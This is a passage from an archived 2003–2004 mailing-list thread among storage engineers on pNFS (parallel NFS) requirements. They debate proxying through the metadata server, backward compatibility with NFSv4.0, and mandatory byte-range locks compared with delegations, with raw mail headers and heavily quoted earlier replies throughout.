errors, > > provided adequate idempotency of out-of-band operations; and many > > alternative implementations of out-of-band clients, including legacy > > clients that use out-of-band never or rarely. > > > > I think this is a topic that should be argued one way or the other in > > the requirements document. Use cases and examples in other systems > > would be best. > I guess that proxying through a client should be recomended but not mandated. We might the want to find how to do it while respecting restrictions removed the metadata server from the path. > ------------------------------------------- > > [1.1.3 Recovery proxying]: a file transformation begun by an NFS-v4.x > client using a set of data server operations, but interrupted before > completion, must be equivalently completable using a (probably > different) set of NFS-v4.x server operations > > Some have suggested that having this property will greatly simplify the > amount of spec that is devoted to out-of-band error recovery. Others > have commented that a simple way to achieve this would be to require > that all operations on data servers should be idempotent. > > ------------------------------------------- > > garth > > > On Thursday, December 18, 2003, at 12:21 PM, Noveck, Dave wrote: > > > Good summary. > > > > I want to address the ""proxying"" issue. > > > >> [1.1 Proxying]: Operations/work that can only be done out-of-band vs > >> alternative access through the NFSv4 server for all operations/work > > > > If you are talking about operations in the extension (let's call it > > NFS-v4.x), that are not in the previous minor version (let's assume > > that is nfs-v4.1), then you have a choice of whether these are > > supported > > for access through the server, or only for access by the client with > > the > > data server. Let's call this the issue of proxying in the strict > > sense. > > > > There is another issue that people are calling ""proxying"" but is really > > logically distinct. That is the issue of access by the previous minor > > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > > separate data servers and they need to be able to work. End of story. > > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > > have a minor version without proxying. You don't have a minor version > > at all. I believe the working group is never going to accept that. > > Even if I'm wrong and you can get the working group to accept that, > > it is going to be very contentious and thus take up a lot of time. > > Anybody, who really wants to go down this path should seriously > > consider > > the trade-off between supporting something they find objectionable and > > getting a standard a lot later, if at all. > > > >> On one hand, some suggest that a set of out-of-band clients should not > >> have to also have a data path through the NFSv4 metadata server. One > >> reason is that customers may not tolerate the large variability in > >> performance between out-of-band (when the going is good) and in-band > >> (when the server chooses not to grant or to take away a delegation) > >> accesses. > > > > Then such customers will use clients that access things out-of-band > > whenever possible, and servers that never refuse to give out layout > > delegations. You have a number of quality-of-implementations issues > > for v4.x clients and servers. If a particular client only supports > > access via v4.0, then performance will suck, and the working group > > will understand that, but it won't accept not being able to use > > v4.0 at all. The customer is going to be motivated to upgrade his > > clients for those that need high-performance access, but he may be > > OK with some clients using v4.0 for a long time, depending on the > > particular performance those clients need. (And some will want v2/v3 > > access but that is a matter that the working group has no say about). > > > >> Another reason, and I paraphrase someone else here, is that > >> it is possible to construct out-of-band metadata servers that do not > >> have access to the data servers except through the clients -- I > >> encourage the source of this scenario to replace my paraphrasing with > >> a > >> correct use case, because I find it odd to design for file servers > >> that > >> do not have access to the data servers. > > > > So let's grant that it is possible (and we'll pass over the issue of > > whether it is desirable, and in fact so desirable that one is willing > > to > > not get a standard and or get it much later). > > > > So we have a metadata server and it, for whatever reason, does not have > > access to the data servers. However, by hypothesis, there are machines > > (e.g. clients), that can communicate with both. So, if one has such an > > architecture, then one can take such a machine, give it a > > communication path > > to the meta-data server and the data server and have the meta-data > > server > > transfer v4.0 READ requests to it, let it read the data from the data > > server and send it back to the meta-data server who send it back to the > > original requestor. Is that a very good solution? No. Is it likely > > to be performant? No. Will it satisfy any particular customer? I > > don't > > know and that is the implementer's business decision. Will it satisfy > > the hypothetical customer who doesn't care about v4.0 access? Clearly. > > Will it satisfy the v4 working group? Yes, because they are not in the > > business of telling you how performant v4.0 access has got to be. > > > >> On the other hand, others have suggested that any access or work that > >> a > >> client can do out-of-band should be possible with one or more commands > >> applied to the metadata server's data path. This has been proposed > >> for > >> coping with recalled delegations, including concurrent writing by > >> multiple clients; retry after client access errors, provided adequate > >> idempotency of out-of-band operations; and many alternative > >> implementations of out-of-band clients, including legacy clients that > >> use out-of-band never or rarely. > > > > This effort is going to take a while, but if we manage it correctly, it > > is not going to take so long that v3 clients are going to be rare > > things, > > and they have to be supported. But v3 clients are not an issue for the > > working group. V4.0 clients are and they will be around and you will > > have to support them, and I believe the working group is not going to > > be disposed to cut you a lot of slack on this issue (and I don't see > > why it should). > > > >> I think this is a topic that should be argued one way or the other in > >> the requirements document. Use cases and examples in other systems > >> would be best. > > > > I think the requirement should be that this work should be done as a > > set of extensions to nfs-v4 delivered as a v4 minor version. If there > > is some feature/requirement that conflicts with that model (and it is a > > pretty flexible one), then you have to think long and hard before > > deciding > > that that requirement is more important than this basic deivery > > vehicle, > > because it seems to me that it is, in almost all respects, the ideal > > way > > to make this sort of technology available for widespread use. > > > > > > > > > > > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > > > > > Yahoo! Groups Links > > > > To visit your group on the web, go to: > > http://groups.yahoo.com/group/pnfs-ops/ > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > Your use of Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From julian_satran@il.ibm.com Mon Jan 19 00:48:44 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 73823 invoked from network); 19 Jan 2004 08:48:44 -0000 Received: from unknown (66.218.66.217) by m13.grp.scd.yahoo.com with QMQP; 19 Jan 2004 08:48:44 -0000 Received: from unknown (HELO mtagate7.de.ibm.com) (195.212.29.156) by mta2.grp.scd.yahoo.com with SMTP; 19 Jan 2004 08:48:42 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180]) by mtagate7.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0J8mVRm094584; Mon, 19 Jan 2004 08:48:31 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0J8mTJY231014; Mon, 19 Jan 2004 09:48:30 +0100 In-Reply-To: <20040105182738.07168207D3@citi.umich.edu> To: pnfs-reqs@yahoogroups.com Cc: andros@citi.umich.edu, pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 19 Jan 2004 00:48:25 -0800 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 19/01/2004 10:48:29, Serialize complete at 19/01/2004 10:48:29 Content-Type: multipart/alternative; boundary=""=_alternative 006221DBC2256E1F_="" X-eGroups-Remote-IP: 195.212.29.156 From: Julian Satran Subject: Re: [pnfs-reqs] Re: [pnfs-ops] why not use mandatory byte-range locking X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran I think that Andy has strong arguments. Julo ""William A.(Andy) Adamson"" 05/01/2004 20:27 Please respond to pnfs-reqs To pnfs-ops@yahoogroups.com cc pnfs-reqs@yahoogroups.com, andros@citi.umich.edu Subject [pnfs-reqs] Re: [pnfs-ops] why not use mandatory byte-range locking > Andy Adamson wrote: > > the discussion of byte-range delegations and cache consistancy provoked this > > thought: why not use existing mandatory byte-range locking? > > > the client opens a file, requests a (mandatory) lock on the region of the file > > it's interested in. the resultant lock stateid is passed as an argument to the > > READ/WRITE_IND request. we can require a mandatory lock stateid prior to > > handing out layout maps for direct i/o. the layout map is 'good 'only for as > > long as the byte-range lock. > > One problem is that there is no way for the client to specify that he wants > a mandatory (as opposed to advisory) byte-range lock, he just asks for one > and the server gives him the type of byte-range that server is giving out > for that fs. So, if you did that, applications that relied on the semantics > (or lack of semantics) of advisory byte-range locks would break. From 3530 5.11.5. Mode Attribute ...... Note that in UNIX, if a file has the MODE4_SGID bit set and no MODE4_XGRP bit set, then READ and WRITE must use mandatory file locking. so for unix, there is a way to specify mandatory vrs advisory locking. since this is also in 3530: 8. File Locking and Share Reservations ..... These mechanisms can implement policy ranging from advisory only locking to full mandatory locking. adding a flag to a LOCK/T/U to indicate mandatory locking vrs advisory is within reason. > Another issue is that while you say ""'good' only for as long as the byte-range > lock"", the results of doing this are that the layout map and the data will > be fixed for at least as long as the byte-range lock exists, i.e. sometimes > too long. If I'm going to be reading directly from the data server, then > I want the layout to stay constant for a long time, or at least I don't want > to be forced to repeatedly get locks for small areas of the layout. The > obvious (and desirable) thing for me to do is to get a shared lock for the > whole file so the layout cannot change, but if we combine changes of layout > and changes of data under a single sort of lock, mandatory byte-range locks > in this case, we have stopped anybody writing in the file for a very long > time, i.e. essentially forever since my lease will normally be continually > renewed. > > When you combine a guarantee that the layout will not change with a guarantee > that the data will not change, in such a way that they can't be separated, > you artificially increase the amount of conflicts, in many cases to an > unacceptable level. perhaps i'm missing something, but isn't it the case the layout of the data and the abilty to access the data are totally bound together? the layout changes due to writes and appends (other??). if the layout changes, stale layout maps are not only no longer any good, they can lead to data corruption. it seems to me that the guarentee that the layout won't change is bound to the guarentee that the data won't change. i can't think of any conflicts such as you mention - could you give some examples? > When you have a delegation model, the problem is > excessive recalls, while when you have a locking model the problem is that > some applications will slow to a crawl/halt. > > > the mandatory lock protects the layout, so no need for layout delegations. > > mandatory locking also allows the client to cache and operate locally on the > > locked data region with cache consistancy guarentees. > > If you are going to be doing some local operation, then short-term mandatory > byte-range locking can help you. If need to do a lock/fetch/update/write/unlock > cycle on a record, this is the ticket (and in v4 lock/fetch and write/unlock > can be COMPOUND's :-). The record you hold while updating can be considered > cached for that brief period. If, however, you are caching data generally, > i.e. for a period outside the range of a short operation sequence, you are > going to need something that is delegation-like, in that if I have the > cached data and want to keep it until there is some reason to get rid of > it, i.e. it is LRU'd out or there is a conflict, then I have to have some > way of finding out that there is a conflict. Delegations do that via a > recall and one can imagine it being done other ways. But the mandatory > lock model is that I have a lock because I need it and so there is no > provision to tell me that someone else has a conflict. The logic is that > he will wait until I give the lock up, and waiting for the cached data to > be LRU'd is going to be too long in most cases. > i agree that the ability for the server to recall is a required feature. i'm simply suggesting that mandatory locking may have more features in common with what we need for pnfs than delgations, and that we could extend the existing mandatory byte-range locking model with fewer changes than extending the existing delegation model. so, how about estending the mandatory locking model with a recall mechanism? > > > we already have the byte-range locking code written. > > I only have advisory byte-range locking code written. Who has v4 mandatory > byte-range locking implemented? > > > so how far does this get > > us? does it make sense to start with the locking code instead of the > > delegation as far as extenstions? > > I think if we define some form of byte-range delegations (at least for data > and maybe for layout as well), there is going to be lots of code sharing with > an existing mandatory byte-range locking implementation. The data structures > and many of the interfaces are going to be the same. and this is really why i brought this up. a new lock type that has the features we desire (e.g. a recall mechanism) makes sense to me. > The difference is going > to be what you do about conflicts. Instead of saying to the second claimant, > ""You snoozed so you lose"", in some cases you have to be prepared to recall the > delegation so that, for example, an otherwise unexceptionable write can proceed. ------------------------ Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From julian_satran@il.ibm.com Mon Jan 19 00:49:47 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 8402 invoked from network); 19 Jan 2004 08:49:44 -0000 Received: from unknown (66.218.66.172) by m1.grp.scd.yahoo.com with QMQP; 19 Jan 2004 08:49:44 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta4.grp.scd.yahoo.com with SMTP; 19 Jan 2004 08:49:43 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196]) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0J8mPHI114860; Mon, 19 Jan 2004 08:48:25 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0J8mNmx112370; Mon, 19 Jan 2004 09:48:24 +0100 In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 19 Jan 2004 00:48:19 -0800 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 19/01/2004 10:48:23, Serialize complete at 19/01/2004 10:48:23 Content-Type: multipart/alternative; boundary=""=_alternative 0060D9BEC2256E1F_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: Re: [pnfs-reqs] RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ""Noveck, Dave"" wrote on 30/12/2003 22:08:02: > It seems legal to me but I'm guessing that there are others that would > think differently. > > I tend to think that it is not a good idea, though. There are going > to be operations which, by their nature, are better done through the > metadata server. A two-byte write which spans multiple data servers > is an example. Another is append-writes, which have been mentioned > (by whom I don't remember just now) as a desirable v4 extension, > assuming the data to be written is of reasonable size. In each case, > we may create appropriate caching/locking primitives to allow the > operation to be done without making any request of the metadata server > that is officially denominated an ""IO"" request. But can you really > argue that this will be the best way for the client to do such > operations? And does it really make sense to force clients to invest > the effort in terms of the code do such operations doing the IO with > the data server only, when the performance benefit of that is going to > be small, or zero, or negative? You may wind up making as many > requests of the meta-data server with the data-server-only approach. > It's just that they won't be IO operations (but instead locking and, > in the case of append, getattr operations). > This can be argued both ways. For applications that share little and build files by append (all transaction loggers) doing them on the client is a distinct advantage. And so iit is for object storage that supports append. > In complicated protocols (and v4 is a complicated protocol and is > getting more complicated), there are going to be multiple ways of > doing the same thing, which are going to differ in their performance > characteristics. An organization can be reasonably concerned about > clients making the wrong choice, just as it is concerned about clients > that are making excessive resource demands for other reasons. There > are two issues that I am worried about in taking such a drastic > approach as simply refusing to support a valid piece of the protocol, > even if that choice is made by the server administrator. The first is > that determining the better choice depends on a lot of variables and > that a simple formula governing an option (e.g. ""IO through the > metadata server is bad"") is unlikely to completely match reality. The > second is that I-don't-like-your-IO-request-so-you-lose is kind of a > blunt instrument to deal with the problem. > I don't think this is a big issue or that the scenario I describe will be widely used but with Object Storage you may not have (or need to very often) a channel between the metadata server and the data servers. This partial access scheme may be maintained also in block environments or federated filers for various reasons (security may be one - you don't trust your administrator with all the data). > If you have identified some set of bad client practices, you can find > the clients doing them, report the appropriate statistics, even, if > the issue is critical, artificially give such clients (or specific > requests) bad performance in a way that doesn't hurt other clients > (unless they are waiting for the first set to do something. Sigh!), > by just delaying processing of their requests by millisecond or two. > That should be enough to preserve metadata-server bandwidth for more > worthwhile purposes. If that's insufficiently discouraging, you can > raise the delay. If you start rejecting requests because you would > have done it differently, even if you are correct, you are on the road > to creating your own sub-protocol, which is why this kind of thing is > worrying, even if legal. > > > -----Original Message----- > From: Julian Satran [mailto:julian_satran@il.ibm.com] > Sent: Monday, December 22, 2003 5:26 AM > To: pnfs-ops@yahoogroups.com > Cc: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 > > Since I raised the issue of the metadata server not having access to > all it's data servers (or at least not with adequate bandwidth) I feel > compelled to say that Dave's arguments about supporting 4.0 are > compelling enough to make it mandatory. The open issue is if it is > legal for a ""compliant server"" to have serving data disabled by a > local administrative function (the old ""must implement but may use""). > Otherwise an organization that wants to discourage use of data serving > through the metadata server has very little it can do to enforce > policy in a way that will not affect other clients (it may do serve > poorly but this still affects other clients). > > Julo > > > ""Noveck, Dave"" > 18/12/2003 19:21 > > Please respond to > pnfs-ops@yahoogroups.com > > To > > , > > cc > > Subject > > RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 > > > > > Good summary. > > I want to address the ""proxying"" issue. > > > [1.1 Proxying]: Operations/work that can only be done out-of-band vs > > alternative access through the NFSv4 server for all operations/work > > If you are talking about operations in the extension (let's call it > NFS-v4.x), that are not in the previous minor version (let's assume > that is nfs-v4.1), then you have a choice of whether these are supported > for access through the server, or only for access by the client with the > data server. Let's call this the issue of proxying in the strict sense. > > There is another issue that people are calling ""proxying"" but is really > logically distinct. That is the issue of access by the previous minor > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > separate data servers and they need to be able to work. End of story. > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > have a minor version without proxying. You don't have a minor version > at all. I believe the working group is never going to accept that. > Even if I'm wrong and you can get the working group to accept that, > it is going to be very contentious and thus take up a lot of time. > Anybody, who really wants to go down this path should seriously consider > the trade-off between supporting something they find objectionable and > getting a standard a lot later, if at all. > > > On one hand, some suggest that a set of out-of-band clients should not > > have to also have a data path through the NFSv4 metadata server. One > > reason is that customers may not tolerate the large variability in > > performance between out-of-band (when the going is good) and in-band > > (when the server chooses not to grant or to take away a delegation) > > accesses. > > Then such customers will use clients that access things out-of-band > whenever possible, and servers that never refuse to give out layout > delegations. You have a number of quality-of-implementations issues > for v4.x clients and servers. If a particular client only supports > access via v4.0, then performance will suck, and the working group > will understand that, but it won't accept not being able to use > v4.0 at all. The customer is going to be motivated to upgrade his > clients for those that need high-performance access, but he may be > OK with some clients using v4.0 for a long time, depending on the > particular performance those clients need. (And some will want v2/v3 > access but that is a matter that the working group has no say about). > > > Another reason, and I paraphrase someone else here, is that > > it is possible to construct out-of-band metadata servers that do not > > have access to the data servers except through the clients -- I > > encourage the source of this scenario to replace my paraphrasing with a > > correct use case, because I find it odd to design for file servers that > > do not have access to the data servers. > > So let's grant that it is possible (and we'll pass over the issue of > whether it is desirable, and in fact so desirable that one is willing to > not get a standard and or get it much later). > > So we have a metadata server and it, for whatever reason, does not have > access to the data servers. However, by hypothesis, there are machines > (e.g. clients), that can communicate with both. So, if one has such an > architecture, then one can take such a machine, give it a communication path > to the meta-data server and the data server and have the meta-data server > transfer v4.0 READ requests to it, let it read the data from the data > server and send it back to the meta-data server who send it back to the > original requestor. Is that a very good solution? No. Is it likely > to be performant? No. Will it satisfy any particular customer? I don't > know and that is the implementer's business decision. Will it satisfy > the hypothetical customer who doesn't care about v4.0 access? Clearly. > Will it satisfy the v4 working group? Yes, because they are not in the > business of telling you how performant v4.0 access has got to be. > > > On the other hand, others have suggested that any access or work that a > > client can do out-of-band should be possible with one or more commands > > applied to the metadata server's data path. This has been proposed for > > coping with recalled delegations, including concurrent writing by > > multiple clients; retry after client access errors, provided adequate > > idempotency of out-of-band operations; and many alternative > > implementations of out-of-band clients, including legacy clients that > > use out-of-band never or rarely. > > This effort is going to take a while, but if we manage it correctly, it > is not going to take so long that v3 clients are going to be rare things, > and they have to be supported. But v3 clients are not an issue for the > working group. V4.0 clients are and they will be around and you will > have to support them, and I believe the working group is not going to > be disposed to cut you a lot of slack on this issue (and I don't see > why it should). > > > I think this is a topic that should be argued one way or the other in > > the requirements document. Use cases and examples in other systems > > would be best. > > I think the requirement should be that this work should be done as a > set of extensions to nfs-v4 delivered as a v4 minor version. If there > is some feature/requirement that conflicts with that model (and it is a > pretty flexible one), then you have to think long and hard before deciding > that that requirement is more important than this basic deivery vehicle, > because it seems to me that it is, in almost all respects, the ideal way > to make this sort of technology available for widespread use. > > > > > > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-ops/ > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > Your use of Yahoo! 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Terms of Service. >From pcorbett@netapp.com Mon Jan 19 11:52:20 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 13972 invoked from network); 19 Jan 2004 19:52:19 -0000 Received: from unknown (66.218.66.218) by m19.grp.scd.yahoo.com with QMQP; 19 Jan 2004 19:52:19 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 19 Jan 2004 19:52:19 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0JJprKw007257 for ; Mon, 19 Jan 2004 11:51:53 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0JJprpr011490 for ; Mon, 19 Jan 2004 11:51:53 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3DEC5.AEA79DEC"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 19 Jan 2004 11:51:51 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Thread-Index: AcPeaQdFnqO5JJSFTaWLR7tAnrV/QgAXHQqQ To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 Julian, For some reason, your messages always come to me in a microscopic font that I'm finding harder and harder to read. I don't know if this is the case for all recipients, or it is peculiar to my client. I am using Outlook. I've never seen it on mail from anybody else. Peter -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Monday, January 19, 2004 3:48 AM To: pnfs-reqs@yahoogroups.com Cc: pNFS Operations; pNFS Requirements Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Garth Gibson wrote on 19/12/2003 00:37:50: > Thanks Dave. I agree. Lets refine the proxying issues: Legacy, > strict, functional and recovery proxying. > > [1.1.0 Legacy proxying]: an NFS-v4.x server must be able to execute the > full NFS-v4.0 or NFS-v4.1 protocol. > > I think Dave has given the case for this strongly. I do not see any > case against this. > > ------------------------------------------- > > [1.1.1 Strict proxying]: does an NFS-v4.x server have to be able to > execute exactly the wire packet that an NFS-v4.x client might have sent > to a SBC/OSD/NFS data server? > > This captures the notion that a metadata server must also be a > store-and-forward proxy for every data server it manages. It requires > NFS-v4.x servers implement SCSI SBC over FC, if their data servers > implement it; and the same for objects and files. > > This only makes sense to me for NFS data servers. And it is not what I > intended in my prior summary, although it is a relevant question. I > would say that pNFS requirements not require Strict Proxying. > Agree > ------------------------------------------- > > [1.1.2 Functional proxying]: a file transformation achievable by an > NFS-v4.x client using a set of data server operations must be a > equivalently achievable using a (probably different) set of NFS-v4.x > server operations > > This is the topic I intended to address in the last email. I believe > Dave is arguing that even with metadata servers that do not have access > to their data servers, the vendor of such a metadata server can > construct a proprietary protocol for the metadata server to (strict) > proxy data server accesses through clients that do have data server > access. I am not comfortable making up a counter to this, so I exhort > those that want a metadata server without data server access to speak > up if they disagree. > > > On one hand, some suggest that a set of out-of-band clients should not > > have to also have a data path through the NFSv4 metadata server. One > > reason is that customers may not tolerate the large variability in > > performance between out-of-band (when the going is good) and in-band > > (when the server chooses not to grant or to take away a delegation) > > accesses. Another reason, and I paraphrase someone else here, is that > > it is possible to construct out-of-band metadata servers that do not > > have access to the data servers except through the clients -- I > > encourage the source of this scenario to replace my paraphrasing with > > a correct use case, because I find it odd to design for file servers > > that do not have access to the data servers. > > > > On the other hand, others have suggested that any access or work that > > a client can do out-of-band should be possible with one or more > > commands applied to the metadata server's data path. This has been > > proposed for coping with recalled delegations, including concurrent > > writing by multiple clients; retry after client access errors, > > provided adequate idempotency of out-of-band operations; and many > > alternative implementations of out-of-band clients, including legacy > > clients that use out-of-band never or rarely. > > > > I think this is a topic that should be argued one way or the other in > > the requirements document. Use cases and examples in other systems > > would be best. > I guess that proxying through a client should be recomended but not mandated. We might the want to find how to do it while respecting restrictions removed the metadata server from the path. > ------------------------------------------- > > [1.1.3 Recovery proxying]: a file transformation begun by an NFS-v4.x > client using a set of data server operations, but interrupted before > completion, must be equivalently completable using a (probably > different) set of NFS-v4.x server operations > > Some have suggested that having this property will greatly simplify the > amount of spec that is devoted to out-of-band error recovery. Others > have commented that a simple way to achieve this would be to require > that all operations on data servers should be idempotent. > > ------------------------------------------- > > garth > > > On Thursday, December 18, 2003, at 12:21 PM, Noveck, Dave wrote: > > > Good summary. > > > > I want to address the ""proxying"" issue. > > > >> [1.1 Proxying]: Operations/work that can only be done out-of-band vs > >> alternative access through the NFSv4 server for all operations/work > > > > If you are talking about operations in the extension (let's call it > > NFS-v4.x), that are not in the previous minor version (let's assume > > that is nfs-v4.1), then you have a choice of whether these are > > supported > > for access through the server, or only for access by the client with > > the > > data server. Let's call this the issue of proxying in the strict > > sense. > > > > There is another issue that people are calling ""proxying"" but is really > > logically distinct. That is the issue of access by the previous minor > > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > > separate data servers and they need to be able to work. End of story. > > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > > have a minor version without proxying. You don't have a minor version > > at all. I believe the working group is never going to accept that. > > Even if I'm wrong and you can get the working group to accept that, > > it is going to be very contentious and thus take up a lot of time. > > Anybody, who really wants to go down this path should seriously > > consider > > the trade-off between supporting something they find objectionable and > > getting a standard a lot later, if at all. > > > >> On one hand, some suggest that a set of out-of-band clients should not > >> have to also have a data path through the NFSv4 metadata server. One > >> reason is that customers may not tolerate the large variability in > >> performance between out-of-band (when the going is good) and in-band > >> (when the server chooses not to grant or to take away a delegation) > >> accesses. > > > > Then such customers will use clients that access things out-of-band > > whenever possible, and servers that never refuse to give out layout > > delegations. You have a number of quality-of-implementations issues > > for v4.x clients and servers. If a particular client only supports > > access via v4.0, then performance will suck, and the working group > > will understand that, but it won't accept not being able to use > > v4.0 at all. The customer is going to be motivated to upgrade his > > clients for those that need high-performance access, but he may be > > OK with some clients using v4.0 for a long time, depending on the > > particular performance those clients need. (And some will want v2/v3 > > access but that is a matter that the working group has no say about). > > > >> Another reason, and I paraphrase someone else here, is that > >> it is possible to construct out-of-band metadata servers that do not > >> have access to the data servers except through the clients -- I > >> encourage the source of this scenario to replace my paraphrasing with > >> a > >> correct use case, because I find it odd to design for file servers > >> that > >> do not have access to the data servers. > > > > So let's grant that it is possible (and we'll pass over the issue of > > whether it is desirable, and in fact so desirable that one is willing > > to > > not get a standard and or get it much later). > > > > So we have a metadata server and it, for whatever reason, does not have > > access to the data servers. However, by hypothesis, there are machines > > (e.g. clients), that can communicate with both. So, if one has such an > > architecture, then one can take such a machine, give it a > > communication path > > to the meta-data server and the data server and have the meta-data > > server > > transfer v4.0 READ requests to it, let it read the data from the data > > server and send it back to the meta-data server who send it back to the > > original requestor. Is that a very good solution? No. Is it likely > > to be performant? No. Will it satisfy any particular customer? I > > don't > > know and that is the implementer's business decision. Will it satisfy > > the hypothetical customer who doesn't care about v4.0 access? Clearly. > > Will it satisfy the v4 working group? Yes, because they are not in the > > business of telling you how performant v4.0 access has got to be. > > > >> On the other hand, others have suggested that any access or work that > >> a > >> client can do out-of-band should be possible with one or more commands > >> applied to the metadata server's data path. This has been proposed > >> for > >> coping with recalled delegations, including concurrent writing by > >> multiple clients; retry after client access errors, provided adequate > >> idempotency of out-of-band operations; and many alternative > >> implementations of out-of-band clients, including legacy clients that > >> use out-of-band never or rarely. > > > > This effort is going to take a while, but if we manage it correctly, it > > is not going to take so long that v3 clients are going to be rare > > things, > > and they have to be supported. But v3 clients are not an issue for the > > working group. V4.0 clients are and they will be around and you will > > have to support them, and I believe the working group is not going to > > be disposed to cut you a lot of slack on this issue (and I don't see > > why it should). > > > >> I think this is a topic that should be argued one way or the other in > >> the requirements document. Use cases and examples in other systems > >> would be best. > > > > I think the requirement should be that this work should be done as a > > set of extensions to nfs-v4 delivered as a v4 minor version. If there > > is some feature/requirement that conflicts with that model (and it is a > > pretty flexible one), then you have to think long and hard before > > deciding > > that that requirement is more important than this basic deivery > > vehicle, > > because it seems to me that it is, in almost all respects, the ideal > > way > > to make this sort of technology available for widespread use. > > > > > > > > > > > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > > > > > Yahoo! Groups Links > > > > To visit your group on the web, go to: > > http://groups.yahoo.com/group/pnfs-ops/ > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > Your use of Yahoo! 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Terms of Service. >From dnoveck@netapp.com Mon Jan 19 13:16:06 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 45217 invoked from network); 19 Jan 2004 21:16:04 -0000 Received: from unknown (66.218.66.216) by m13.grp.scd.yahoo.com with QMQP; 19 Jan 2004 21:16:04 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 19 Jan 2004 21:16:04 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0JLFdKw019639 for ; Mon, 19 Jan 2004 13:15:39 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0JLFcSR029819 for ; Mon, 19 Jan 2004 13:15:38 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3DED1.62082C70"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 19 Jan 2004 13:15:37 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 